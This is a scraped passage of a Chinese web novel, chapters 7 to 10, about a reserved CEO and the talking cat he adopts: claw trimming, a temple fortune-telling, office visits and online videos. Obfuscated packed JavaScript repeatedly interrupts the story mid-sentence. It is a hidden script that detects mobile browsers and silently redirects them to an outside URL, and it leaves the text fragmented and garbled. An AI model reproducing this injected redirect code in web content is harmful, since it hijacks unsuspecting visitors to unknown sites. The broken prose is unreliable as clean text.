顾司沉开门进屋，小猫就立刻就跑了过来，但却停在了顾司沉一米外的地方，小猫歪着脑袋警惕地看了他几秒，突然压平耳朵，开始朝他哈气。 猫在凶他。 意识到这点后，顾司沉本就不好的心情，霎时变得更加沉郁。但他什么也没有说，只是换鞋走进客厅，身体不舒服，他合衣躺在沙发上休息。 他想他应该起来吃药了，可顾司沉不想动，他合上眼睛，陷入了一种混沌的状态里。 不知过了多久，他突然察觉有微弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036184|178694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的气息洒在他脸上。顾司沉睁开眼，看见小猫放大的脸颊。刚才还凶巴巴的猫不知什么时候跑到了沙发上，探着小小的脑袋不停地闻他。小猫一边闻，还一边用毛茸茸的脑袋蹭他脸颊。 不知是不是心理作用，顾司沉突然觉得自己身体没那么难受了。 他伸手摸了摸小猫脑袋，想喊它又突然意识到猫还没有名字。他揉了揉猫咪脑袋，问：“你想叫什么名字？” 猫没有搭理他。 猫当然不会搭理他了，猫又听不懂他在说什么。 但吴雪只是有些累了，他的人在外面沾了一身臭味道，他辛辛苦苦努力了好久，才终于用自己信息素把臭味都覆盖过去。 都怪人出门不带他，甚至连他的信息素都不带，所以才被别的猫欺负了。 想到这里，吴雪又觉得人有点儿可怜，他重新振作起来，拖着疲倦的身体，爬到人头顶帮人舔毛。毛发储存的气息会保留更久，如果运气好，他的人今晚不洗头，明天就可以带着他的信息素出门。 突然被舔毛的顾司沉：“……” 蹭他他还能理解，怎么还给他舔起毛了？ 顾司沉拍了张照片，又觉得有损形象，只是问：“猫为什么会舔人头发？” 小奇医生：“我们倾向于这是猫把人当成小弟的意思，小猫出生后不能自己清洁身体，猫妈妈会帮小猫舔毛，后来就演变成上位者帮下位者清理毛发。” 小奇医生解释完，没有得到回答，又问：“怎么啦？猫舔你头发了？” 顾司沉：“……” “没。” 放下手机，顾司沉把猫从自己头上扯下来，小猫在空中张牙舞爪，黑背、白肚、白色四爪开花，全粉爪。难怪古人取名乌云盖雪。 顾司沉想了想，说：“叫你乌乌怎么样？大名吴雪。” “喵？”猫惊讶地抬起头，人，你怎么知道我叫吴雪？ “喜欢这个名字？” “喵喵~！” 小猫何止是喜欢，简直满意得不得了。顾司沉刚松开手，吴雪就立刻用毛茸茸的脑袋蹭他手背，手指。顾司沉故意藏起手，猫还急得伸爪子扒他。 顾司沉笑着逗猫，心脏也跟着柔软下来，终于觉得养猫是一个明智的决定。 直到第二天起床，顾司沉看着自己没有及时收起来所以被乌乌抓得稀巴烂的西装外套，沉默数秒后，他冷静地否定了先前的想法。 吴雪可是花了大力气，为了彻底消除顾司沉衣服上留下的脏东西，小猫努力了一晚上，爪子都快要被磨平，终于把人的衣服处理得干干净净。 吴雪短暂地打了个盹儿，听见顾司沉起床，他迅速跑到衣服旁边，抬起脑袋，等待人的表扬和奖励。 小鱼干！他辛苦了一整晚，要吃香香脆脆的小鱼干！！ 可奇怪的是，人只是安静地看了他一眼，表情有些复杂，似乎还有些一言难尽。人什么都没有说，就转身去做别的事情。没有表扬，更没有小鱼干作为奖励。 “喂，”吴雪不服气地追了上去，“人，快给我小鱼干作为奖励！” “砰——” 回应他的只有冷漠的关门声。 吴雪站在卫生间门口，茫然地歪了头。好端端的，人怎么就生气了？ 算了，猫不和人计较，小猫摇晃着毛茸茸的身体，一摇一摆地走到猫碗旁吃干粮。 不给小鱼干就算了，干粮香香脆脆的，也很好吃。 8. 第 8 章 吴雪吃完早饭，坐在地毯上清理毛发。他是一只长毛猫，毛又软又长，蓬得像蒲公英。长长的猫毛勾着舌头的倒刺，让舔毛这项工作变得异常艰辛。 身后传来人的脚步声，正在舔毛的猫抬起头，目光好奇。 人蹲下身，朝他伸出右手。 吴雪还以为人要帮他理毛，可没想到人突然抓住他爪子，在肉垫上一按，另一只手掏出一个可怕的工具，要剪他的指甲。 “喵喵喵！！！”小猫疯狂挣扎起来，可人还是不松手。猫急得一爪抓上男人手背，终于顺利逃走。 半个小时后，管家在车库看见顾司沉受伤的手背，愣了愣：“您手怎么了？” 顾司沉：“被猫抓了。” 去参加奶奶生日宴会前，他们先去医院打了针狂犬疫苗。不想让老人担心，顾司沉戴了副黑色羊皮手套。薄薄的手套贴着皮肉，配上他身上一丝不苟的礼服西装，有一种禁欲的色气。 顾司沉奶奶信佛，常年在佛寺里修行，和往年一样，她的生日宴安排在佛寺旁的一家素食餐厅。 顾亭安早早就过来了，一边住在庙里吃斋念佛，一边抱着平板创作僧人黄图，也不知道会不会被天打雷劈。 奶奶已经退出社交场合，生日宴只有最亲近的家人参加，大家一起吃完素食，又陪奶奶回去午休。 老人午睡时间不长，顾司沉没有立刻离开，打算多陪老人待一会儿。 闲着无聊，顾亭安指了指前方的大殿：“哥，我记得你最近运气挺差的，不然去拜拜？” “不用。” “那你能陪我一起去吗？” “可以。” 佛寺依山而建，落差极大，每一个宫殿之间都隔着漫长的台阶。 顾亭安爬到正殿已经气喘吁吁，他们先在大殿拜佛，又去更高处的观音殿求签。 “哗哗哗——” 一支签文掉出签筒。 打开一看，下下签，顾亭安的脸黑了。 或许是他的脸太黑，签筒旁的年轻僧人说：“施主，您可以再试。” 顾亭安：？还能这样？ 他又摇了一次，下签。 再摇，中签。 继续摇，上签。 担心过犹不及，顾亭安没再继续，换了解签文出了大殿。 顾司沉这次没有抽签，可下午陪奶奶过来时，在老人的提议下还是破了例。 他不信这些，既然不信，试试也无妨。 顾司沉摇晃签筒，下下签。 继续摇，下下签。 又摇，还是下下签。 连抽3签，签签下下签。 顾司沉平静地放下经桶，没再继续。 奶奶和顾亭安表情沉重起来。 年轻僧人有些尴尬，说：“不然您再试一次吧。” 顾司沉本来都放下了，又在大家的期待中拿起签筒，继续摇—— 还是下下签。 这次没人敢让顾司沉继续了，顾司沉留下签文，转身离开。 僧人拿起签筒，小声嘟哝：“奇怪，怎么有人连抽四次都是下下签？” “什么下下签？”一个中年僧人走出来。 “真常法师。”年轻僧人应道，把刚才的经过说了。 真常法师倒出签文，桶里竟然全是下下签。 僧人：“……” “罪过罪过，”旁边一个僧人低下头说，“我看这几天香客抽签手气不太好，所以把下下签全挑出来拿走，没想到阴差阳错又放在了这里。” “……” “阿弥陀佛，希望这位香客不要放在心里。” 下山时，顾亭安有些后悔刚才的怂恿，尴尬地笑笑：“封建迷信信不得。” 奶奶表情凝重，问：“你最近是不是遇到了什么事？” “没有，”顾司沉说，“奶奶您别担心，我出入都有保镖，不会有什么事情。” “施主而立之年恐有大劫。”突然间，一位容貌秀雅的中年僧人说。 顾司沉：“……” 奶奶不认得这位僧人，可寺里的僧人修行大多高超，看对方气度，估计是个法师。 她紧张地问：“法师可有破解之法？” 顾亭安太懂这种套路了，试着问：“供奉香火可破解？” 僧人却摇头，看着顾司沉的眼睛说：“祸兮福所倚，福兮祸所伏。一切如何，全凭施主造化。” 说完，僧人褪下手里的念珠交给顾司沉。 顾司沉觉得莫名其妙，奶奶却替他接过，感激道：“多谢法师点拨。” 奶奶把念珠带到顾司沉手腕。 顾亭安：“哥，你现在好像京圈佛子。” 顾司沉莫名：“我不出家。” 奶奶：“就是，什么京圈佛子，就算要当佛子也是本地佛子。” 和你们这种老年人说不清楚，顾亭安转身问大师：“大师，那我呢？能不能看出来什么？” 僧人：“先苦后甜，可享后福。” 顾亭安不怎么信这些，但得到祝福嘛，总归是开心的，笑着说了声谢谢。 顾光耀不知道什么时候也跟了过来，探头探脑地问：“大师大师，那我呢？” 僧人：“误入歧途，破而后立。” 顾光耀：“……” 凭什么他就是误入歧途！ 众人离开后，奶奶继续回到寺里继续做功课。傍晚时她在斋堂遇见了那位抽签的年轻僧人，主动提起自己亲人今天得了一位僧人点拨，又描述对方外形，向年轻僧人打听对方法号。 后者一脸纳闷，却告诉她寺里没有这种长相的僧人。 · 古贸壹号，顾司沉不在的时间里，吴雪依旧在尽职地守卫领地。 他勇敢地和邪恶乌鸫做斗争，抓捕神出鬼没的暗黑飞虫，又在真皮沙发上训练抓捕和狩猎技巧。他开始感到疲倦，遂躺在阳光充沛的窗户旁睡觉，又把恼人的窗帘抓得稀巴烂。 突然间，门外传来一阵脚步声，吴雪警惕地抬起头，悄无声息地藏匿在鞋柜后。 大门打开，管家带着几位陌生人进来。因为认得管家，吴雪暂时放松了警惕，可依旧竖着耳朵，时刻牢记自己的职责。 管家指挥这些人在室内多处安装猫爬架，猫抓板，用廉价的麻绳、瓦楞纸填充价值上亿的家。 吴雪“嗷呜”一声，一头扎进了那堆破烂里，用瓦楞纸欢快地磨着爪子。 当吴雪把领地内的每一个东西包括管家都染上自己的气味，顾司沉终于回家了。 吴雪还记恨人早上欺负他，没有立刻过去。 顾司沉一身高定西服站在玄关，随手取下羊皮手套，喊：“乌乌，过来。” 小猫不屑地用屁股对着人，下一刻他颈皮突然一紧，顾司沉把他拎到了沙发上。 顾司沉手掌宽大，一只手就能擒住不听话的小奶猫，戴佛珠的那只手背上，能清晰地看见粉红色的猫爪印。伤口捂了一整天有些红肿，传来轻微的痒意。 顾司沉腾出一只手抓住不安分的猫爪，继续剪猫指甲。 “啊啊啊！不许剪！！”吴雪大叫出声，“你不能夺走我的武器！我要保护你！我是这个家里最强的战力！！” 小猫浑身硬邦邦，爪子到处乱飞，不知抓住什么用力一扯—— 噼里啪啦，佛珠散落一地。 顾司沉：“……” 原来你就是我的大劫。 小猫被小球吸引，眼睛都直了，使出浑身牛劲儿想奔下去追小球。 可顾司沉铁石心肠，不管猫咪如何反抗都没有任何松动，他和管家二人合力，残忍地剪去了吴雪的每一根指甲。 剪到最后一个指甲，小猫已经失去所有反抗的手段，绝望地躺在人怀里呜咽。 “好了。” 顾司沉终于放开了吴雪。 小猫愤愤地躺在沙发上，双眼含泪，委屈得不行。 呜呜呜他的指甲被剪了，顶级杀手失去了他最宝贵的武器，死了算了！！ 不过是剪指甲而已，顾司沉本来不觉得有什么，可当他对上小猫可怜兮兮的表情，却罕见地内疚起来，仿佛犯了什么不可饶恕的罪行。 他拿出猫咪最喜欢的零食小鱼干，用诱哄的语气喊：“乌乌。” 小猫不搭理他。 顾司沉又喊：“猫猫。” 小猫还是不理。 顾司沉声音更轻了：“宝宝。” 管家表情震惊，早知道他10岁就在顾宅跟着父亲学习管家了，后来又和顾司沉一起上学，几乎是和顾司沉一起长大。过去这些年里，他从未见过顾司沉用这么温柔的语气和人说话。 可小猫毫不领情，小猫一口咬上顾司沉手指，在上面留下两个牙印，又立刻冲过去抱着猫抓板，用不再尖锐的指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036185|178694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甲攻击。 可恶！竟然敢如此对待他！从今天起，猫再也不要喜欢人了！ “哗哗哗——” “嗷嗷嗷——” 在小猫的攻击下，猫抓板霎时变得稀巴烂。 顾司沉不敢再靠近，只得放下小鱼干佯装走开。然而在他离开后，奶牛猫却“嗖”地一下窜了出来，灵活地叼着小鱼干逃走，爬到猫爬架最顶端进食。 小猫吃完小鱼干，依旧没有原谅人类。 猫人冷战，正式开始。 最开始，顾司沉并未察觉到小猫的冷淡，他以为乌乌吃了小鱼干就好了。 直到他第二天看见一点儿也没少的猫粮，隐约感觉有点儿不对劲。但他今天行程安排得很满，让管家上楼照看就出了门。 中午时，顾司沉收到消息，乌乌还是没有进食。等他晚上回家，就看见乌乌软绵绵地躺在角落，叫它名字没反应，食物递到嘴边都不吃。 顾司沉带猫去检查，医生却说猫各项指标都健康，可能只是换了陌生环境，精神不好。 顾司沉皱眉：“可它刚来时不这样，它来第一天就缠着我，还会给我舔毛。” 医生：“我的建议是继续观察，如果明天再不吃东西，可以考虑喂一点葡萄糖。” 顾司沉还是觉得不对劲，又说：“是我给它剪了指甲后才不吃不喝的，我在网上查，说猫可能是得了抑郁症。” 医生：“……” 人生病都知道不能百度看病，怎么换成宠物就不会了呢？ 但对面是一位超级大客户，小奇医生态度良好地解释：“这也正常现象，乌乌是被收养的流浪猫，流浪猫靠指甲捕猎，争抢领地。突然被剪指甲可能无法适应，您有空可以多陪乌乌玩玩。猫虽然相对独立，但其实还是很依恋人，需要一定陪伴才行。” 从宠物医院回去，乌乌依旧没什么精神，睡觉时，顾司沉破天荒留了一个缝，允许小猫进卧室。 在顾司沉的设想里，他开门后猫就会来床上和他一起睡。可惜乌乌只是躲在墙角，顾司沉走过去，乌乌就一溜烟跑到了客厅里。 “……” 他觉得自己像一个和孩子闹别扭的老父亲，明明渴望修复关系，却不知道该如何是好。 顾司沉晚上没怎么睡好，第二天起床一看，猫粮还是没有动静。乌乌软绵绵地躺在角落，一副出气多进气少的样子。 顾司沉再次咨询医生，医生让他喂一点葡萄糖。顾司沉不熟练地打开针管喂食器，消毒，兑水，掰开小猫嘴巴，一点点把葡萄糖喂进去。 乌乌挣扎得很凶，但该吃的都吃了。 顾司沉又返回卧室，换下身上沾满猫毛的西装。今天有重要客户来公司，他不能一身猫毛过去。 收养乌乌后，管家每天会给他准备至少三套备选西装，这样就算衣服被抓坏或者沾了猫毛，他也不至于太为难。 顾司沉换好干净的西装，把公文包放到玄关柜上。往常这个时候，乌乌都会跑过来围着他喵喵叫，想要和他一起出去玩耍。可今天小猫却安静地蛰伏在角落，不往这边多看一眼。 倒也省得他烦恼，顾司沉打开大门，毫不犹豫地转身离去。 “砰——” 防盗门关闭，偌大的客厅里只剩下乌乌自己。 小猫从角落里探出脑袋，感觉有些委屈。 人怎么这么铁石心肠，冷酷无情，都不哄哄他就离开了。 算了，他也不是很想让人哄，他是一只成熟的小猫了，要自己消化情绪。 吴雪刚这么想，大门突然被人猛地推开，顾司沉去而复返，喘着气说：“乌乌，今天要不要和我一起？” 一起去？ 小猫好奇地竖起了耳朵。 自从被剪掉指甲后，吴雪就陷入了低落的情绪里。没了爪子的猫咪不能再保卫领地，不能保卫领地的猫咪就没有用处。他不是一只合格的猫咪，他的人不要他了。 可为什么，今天人出门要带他一起？ 吴雪站直身体，好奇地看着面前的人。 顾司沉伸出右手，缓声邀请：“乌乌，你想和我一起出门吗？” 小猫歪头，表情疑惑。他从人的邀请中，隐约察觉到对方并没有完全嫌弃自己。他虽然被剪了指甲，但依旧可以做一只有用的小猫咪。 虽然吴雪还是有些不开心，但最终，小猫大发慈悲钻进了顾司沉的手提袋里。 9. 第 9 章 孟知是个昂贵且靠谱的助理，等顾司沉带着猫来到办公室，猫咪用品也已经准备到位。孟特助亲自置办，所以没人知道他们威严冷峻的总裁，竟然在办公室里偷偷养着小猫咪。 顾司沉拎着羊皮手提袋，在员工一声声问候中，大步流星穿过公司。 抵达办公室，他放出袋里面的猫咪。小猫精神抖擞，站在办公桌上探索四周，顾司沉放下心来。 吴雪不喜欢陌生的地方，但对这个空间并不排斥，比起冷清宽敞的大平层，办公室里反而有更多顾司沉的气息。小猫左闻闻右嗅嗅，很快就融入了这个陌生的环境里。 刚开始，顾司沉把猫关进了自己休息的套间里，办公室是工作的地方，让猫随意走动太不严谨。 可当他开完会回来，听着门内传来的猫叫声，又一时心软，放小猫出来玩了一会儿。 这一玩猫就再也不愿意回去了，小猫肆无忌惮地在办公室里捣乱。门外员工听着里面传来的砰砰声，还以为是顾司沉在砸东西，吓得大气也不敢出。 “老板今天心情不好？怎么这么大的脾气？” “不知道啊，我也是第一次见他这样，之前就算再生气也不会砸东西的。” “老天保佑，老板正在气头上，可千万别叫我进去。” 顾司沉确实是有些生气了，他带猫来公司本意是想要培养感情，可惜他低估了小猫捣乱的能力。猫一出来就霸占了他的办公桌，玩弄水杯，咬显示屏，玩累了就趴在键盘上睡觉，十足的任性。 顾司沉要赶它走，猫就钻到人怀里抓人裤子。顾司沉正想制止，门外传来敲门声。 “进。” 顾司沉只耽误了一秒钟，猫已经转身钻到了椅子背后，可椅背没有空间，猫竟一转身钻进了顾司沉的裤子口袋里！ 顾司沉的西服都是定制的，裤袋几乎没有多余的空间，也不知道猫是怎么挤进去的。两个月大的小奶猫把西装裤撑得鼓鼓囊囊，孟知进来汇报工作，一抬眼就看到老板大腿根部鼓起一大坨，还诡异地弹动着。 “……” “……” 四目相对，孟知迅速移开目光，饶是他有多年专业助理经验，也无法掩饰眼神的异常。 顾司沉尴尬不已，板着脸训斥：“乌乌，出来。” “喵！”小猫从裤袋里探出一个头。 顾司沉拎着小猫后颈，拉开抽屉把猫放进去，只留一个小缝换气。 一场闹剧结束，顾司沉重新抬头看向助理，恢复了一丝不苟的表情：“什么事？” 孟知：“智穹科技的人到了，目前在会客室里休息，十点在二号会议室开会，您这边可以吗？” “可以，”顾司沉说，“你去通知财务和法务的人。” “好，”孟知点头，“我立刻向赵总、陈总同步。” 孟知办事一向靠谱，顾司沉没再多说什么。然而抽屉里的猫却喵喵地叫了起来，仿佛连这短短几个小时的分别都不愿意。 顾司沉叹了口气，又对孟知说：“算了，让他们来我办公室吧。” 孟知有些意外，但还是点头照办。 孟知离开，吴雪从抽屉里钻出来，站在顾司沉肩膀用肉垫扒拉人脸：“人，怎么不走了？你去工作啊！我已经在你身上涂满了信息素，没有猫再敢欺负你！” 可惜人毫无感恩之心，甚至还曲起手指弹了下猫脑门，板着脸警告：“等会儿不许捣乱，听见没有？” 吴雪：喵？！ 没品的东西！不仅不感谢猫，甚至还要骂猫。猫一口咬上人手指，转身钻进了抽屉里。 会客室，智穹科技创始人阮博闻穿着卫衣牛仔裤运动鞋，有些拘谨地握紧了手里的茶杯。 旁边是和他一样紧张的高管，说是高管，但他们团队实行扁平化管理，老板和小职员几乎没有差别。可来到后古贸集团后，大企业那种分明的阶级感全方位压迫着阮博闻的神经。尤其是刚才临时接到通知，得知见面地点从会议室改到总裁办公室后，他们先前考察时外界对顾司沉冷漠、神秘莫测的描述，再一次得到加深。 阮博闻家境一般，靠着绝顶的智商和好运创业成功，好听点儿说是科技新贵，直白点儿说就是宅男书呆子，面对顾司沉这种老钱做派还是有些不自在。 再加上智穹科技本身技术过硬，目前已经有好几家企业争着收购。就算古贸集团财力雄厚，可他们也不是只有这一个选择。宁做鸡头，不做凤尾，比起被大厂收购成为一个可有可无的项目，或许去小厂里当核心项目，反而更有优势。 而且经过过去和今天的接触来看，阮博闻不觉得古贸集团是一个好买家。可惜人已经来了，就算不想继续合作，也要体面地见上面，回头再找个恰当的理由拒绝才行。 阮博闻这么想着，跟着秘书进了总裁办公室。 顾司沉气势依旧冷淡威严，一一和他们握手，然后在长桌尽头落座。尽管他表现得温和有礼，但依旧给人很强的距离感。而且不知是不是主场优势的原因，顾司沉看起来压迫感更强了。 听着对方的收购预案，阮博闻有些心不在焉，直到他看见顾司沉胸前立起一根毛茸茸的尾巴。 阮博闻：？ 顾司沉伸手把尾巴压下去，尾巴又不听话地竖起。 顾司沉停下讲话，向众人解释：“抱歉，乌乌有些调皮。” 他亲自把猫抱走关进房间，出来后再次道歉，让大家继续会议。 这次谈话时间比想象中更长，古贸集团诚意满满，拿出了相当优渥的条件，更重要的是顾司沉并非像传闻中那么独断专横，许诺收购后会保留智穹科技团队，也不会干预项目的研发。阮博闻又问了一些问题，结束时已经快中午。 众人起身告别，阮博闻和顾司沉握手，主动道：“我会认真考虑和古贸的合作。” 一起来的高管猛地抬起头，不知他怎么突然改了主意。 直到二人离开办公室，高管迫不及待地追问：“你不是要拒绝他们吗？怎么又谈起了合作？” “我想再考虑一下，”阮博闻说，“如果他能兑现这些条件，合作也不是不行。” 高管愣了愣，又提醒他：“我觉得很难，顾司沉年纪轻轻就执掌这么大的公司，听说他上位手段也不怎么光彩。这种狡猾的企业家最擅长表面一套背面一套，我们这种搞技术的肯定玩不过他，还不如和技术起家的深维科技合作。” “我再考虑看看，”阮博闻说，“但我觉得顾司沉不是这种人，喜欢猫的怎么会有坏人呢！” 高管：“……” 回到智穹科技，高管偷偷找了个没人的地方，在电话里把今天发生的事说了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036186|178694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那边安静了很久，有些恍惚又有些难以置信地问：“为什么？” “卑鄙的顾司沉，”高管忿忿不平，“竟然用猫收买了阮博闻！” · “别以为小鱼干就能收买我！”古贸集团总裁办公室，吴雪愤怒地表示自己的抗议。 顾司沉放下小鱼干，有些头疼。 孟知在旁边提醒：“总裁，再不出发我们要迟到了。” 下午顾司沉要外出见客户，不方便带猫一起，他好声好气地和小猫沟通，没想到得到了愤怒的抗议。 顾司沉想了想，对孟知说：“把李小桃叫进来。” 李小桃正在喝奶茶，听见孟知说总裁叫她，吓得喷出一口奶茶，被万能的孟知助理灵活地躲了过去。 完蛋了。 总裁上午刚生了那么大的气，下午突然叫她，该不会是要秋后算账吧？ 李小桃浑浑噩噩地起身，跟着孟知离开。 走到一半孟知停下，说：“奶茶放回去。” “啊？！噢噢噢！对不起对不起！我就是顺手！”李小桃放下奶茶，战战兢兢地跟了上去。 对还是实习生的她来说，总裁办公室充满传奇，但也威严难以接近。 李小桃小声问孟知：“孟特助，总裁叫我有什么事啊？” 孟知：“你进去就知道了。” 完蛋了，那肯定是要算账了，她本来还想留在总办的，现在看来，估计实习证明都拿不到了。哭死。 李小桃跟着孟知走进总裁办公室，低着脑袋，声若蚊喃：“总裁，您有什么吩咐？” 落地玻璃窗前，男人缓缓转过身体，五官冷峻，比想象中更加威严，不近人情。 审视的目光落下，李小桃听见总裁说：“李小桃，你会养猫吗？” “哈？！” 李小桃怀疑自己幻听了，可紧接着又听孟知说：“顾总要外出两小时，想请你留在办公室照顾一下乌乌。” 乌乌？ 李小桃定睛一看，一只两个月大的奶牛猫站在办公桌上，威风凛凛地打量着她。 小猫太可爱，李小桃几乎瞬间就沦陷，脱口而出：“完全可以，请总裁放心，我养了四年的猫，保证完成任务！” 小猫被留在了办公室，但即便有人看管，顾司沉还是有些担心，和客户见面后就立刻回来了。 因为路上耽搁了一些时间，他甚至比预计的要晚了半个小时。 乌乌一定很想他吧？说不定现在正蹲在门口等他回去。一想到这里，顾司沉就忍不住心急如焚，加快了脚步。 他大步流星地穿过走廊，推开办公室大门。 “喵喵～喵喵～喵喵喵喵喵喵～～～！喵喵～喵喵～喵喵喵喵喵喵～～～！” 屋内传来一阵抑扬顿挫的喵喵声，感情前所未有的充沛，就仿佛在呼唤着主人。 顾司沉听得心都化了，他放轻脚步继续往里走，看见一个大大的平板电脑立在他面前，里面传来熟悉的歌声：“去吗？配吗？这褴褛的披风！战吗？战啊！以最卑微的梦！致那黑夜中的呜咽与怒吼，谁说站在光里的才算英雄……” 平板背后，乌乌聚精会神地看着屏幕，双爪握拳，眼眶含泪，沉浸地跟着歌声节奏喵喵喵，全然不知他已经回来了。 顾司沉：“……” 10. 第 10 章 太感动了！ 吴雪从来没有听过这么好的歌，一边跟唱一边流眼泪。真的写得太好了，这首歌几乎就是他的真实写照，每一句都写进了他骨子里。 “爱你孤身走暗巷，爱你不跪的模样，爱你对峙过绝望，不肯哭一场。爱你破烂的衣裳，却敢堵命运的枪，爱你和我那么像，缺口都一样。” “喵喵喵喵喵喵喵，喵喵喵喵喵喵喵，喵喵喵喵喵喵喵，喵喵喵喵喵！” 吴雪沉浸在自己的艺术里，不知天地为何物。然而下一刻，一只大手突然伸来拿走平板，关闭音乐播放器。 “喵？”小猫歪着头，睫毛被眼泪打湿，一时间没有反应过来。 顾司沉拿着平板，想质问李小桃，为什么要这么对待他的猫。因为不想陪小猫玩所以就随便扔个平板过去让它安静？这种行为和那些不负责任的家长又有什么区别！ 但说到底，是他这个家长不负责，竟然把猫丢给一个实习生。要怪也只能怪他自己。 顾司沉缓缓吐出一口气，尽量心平气和地说：“不要给乌乌看短视频，它还是个孩子，没有自制力，会被网上的信息污染，剥夺童年。” 李小桃本来在拍视频给姐妹分享，总裁的猫竟然喜欢看喵城之战，还能跟着唱孤勇者！ 闺蜜哈哈大笑，怂恿她：你起号吧，发到网上绝对能火。 李小桃确实很心动，不管是她喷总裁一脸奶茶，还是被总裁叫到办公室看猫，随便哪件事拎出来都很有笑点，更别提总裁家的猫还会唱孤勇者！ 可惜李小桃不敢，不火不要紧，一旦火起来被老板刷到她就死定了。 李小桃本来就有点儿心虚，听见顾司沉这么说，立刻麻溜地站起来说：“是是是，我知道了，下次再也不敢了。” 小猫却不乐意了，吴雪38码大脚踩在桌上，像橡皮泥一样拉长身体，用双手去够平板：“人，我还要继续听。” 顾司沉：“不许听。” “喵！”猫生气了！ 李小桃被人猫互动震惊，这哪里是养宠物啊，这根本就是爸爸养孩子吧。 她看得津津有味儿，还想再看，就听顾司沉说：“你出去吧。” 李小桃依依不舍地离开了，走到门口又突然反应过来，等等，给猫看短视频怎么了？又不是养小孩儿，难不成短视频还能教坏小猫？ 事实证明，短视频确实可以教坏猫咪。 自从在李小桃那里玩过平板电脑后，吴雪整个人都沉迷网络了。网络上那么多新奇玩意儿，还有各种各样的小猫视频，真的太好玩儿了。 但吴雪也不是什么都看，他喜欢看动物世界，这会让他想起在猫猫岛的日子。但他最爱的还是各种龙傲天短剧，王道动画，超英电影，而且真情实感，情绪充沛，激动的时候还会一边喵喵喵一边流眼泪。 他最喜欢的电影是复仇者喵盟，反复反复看了好多遍，甚至还自封为猫猫侠，往脖子上套一个披风，随时准备拯救世界！ 第二天，顾司沉起床一看，脸黑了——猫竟然顶着他内裤满屋子跑。 他正要制止乌乌的恶行，大门突然被人打开，管家进来了。 “……” “……” 两人一猫六只眼睛，还是猫最先反应过来，顶着内裤继续跑酷。 管家沉默半天，终于憋出一句话：“乌乌和您还挺亲。” 顾司沉：“……” 他一点也不想要这种亲近。 顾司沉这辈子都没这么丢人过，大步向前没收小猫头上的作案工具。他以为乌乌这样就会消停，可没想到他一转身出来，乌乌又顶着另一条内裤满屋子跑。 顾司沉再次没收。 乌乌再次作案。 顾司沉把衣帽间洗衣房全关了，结果过了一会儿，乌乌竟又从自己猫窝里叼了一条内裤出来。 顾司沉：“……” 他这才发现，猫窝里竟然藏了好几条内裤，还有领带，袖扣，卫生纸团，废弃的塑料袋，皱巴巴的羽毛，还有不知从哪里来的小球……俨然就是一个垃圾箱。 顾司沉血压隐隐有些升高，自从养猫以后，他那整洁得堪比样板间的家，出现了越来越多不符合他品味的东西。几万块的猫窝乌乌从来不睡，就爱超市购物送货的纸箱。高档玩具扒拉一下就不要了，小猫最爱的是纸团、塑料袋、瓦楞纸。 看着家里这些乱七八糟的东西，顾司沉生活环境受到了严峻的挑战。 他开始严令禁止乌乌上网，绝不让它从网上学到那些乱七八糟的东西。可你不给它看，小猫就扬着一双可怜巴巴的眼睛，还用小肉垫搭你胳膊，仿佛在说：人，我要看平板，我要上网，我想玩。 重复次数多了，顾司沉最后还是妥协，让步道：“你是未成年的小猫咪，小猫咪上网有防沉迷系统，每天只能看一个小时，明白吗？” “喵！”乌乌很干脆地同意了。 顾司沉是一个相当负责的家长，乌乌每次看视频他都要在旁边盯着，还要把内容精挑细选，确定不会教坏小猫才允许它看。 起初吴雪还比较适应，但时间久了，他就受不了这种管教了。主要是人选的视频幼稚得很，简直就是把他当成三岁小孩儿！ 这天趁着顾司沉不在，吴雪偷偷跑进书房找到平板，蹲在屏幕上，模仿顾司沉的动作猫脸解锁。 咦，怎么没有成功呢？ 吴雪还想再试，书房门被人推开，他又立刻跑到旁边，装模作样地玩钢笔。 顾司沉没有发现异常。 主要是他也不怎么用平板，因此并不知道在他看不见的地方，小猫已经把这块不听话的东西仔仔细细地研究了一遍。 当顾司沉再次使用平板时，小猫突然伸过脑袋挡住摄像头，不管他怎么赶都不离开。顾司沉输密码解锁，以为猫只是急着看视频，没有多想。 就这样又过了几天，他突然发现平板上多了一个猫爪设计的软件，但他打不开，网上也没有任何消息。 顾司沉以为是什么垃圾软件，随手删了。可奇怪的是当他下次使用平板时，这个软件又会偷偷出现。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 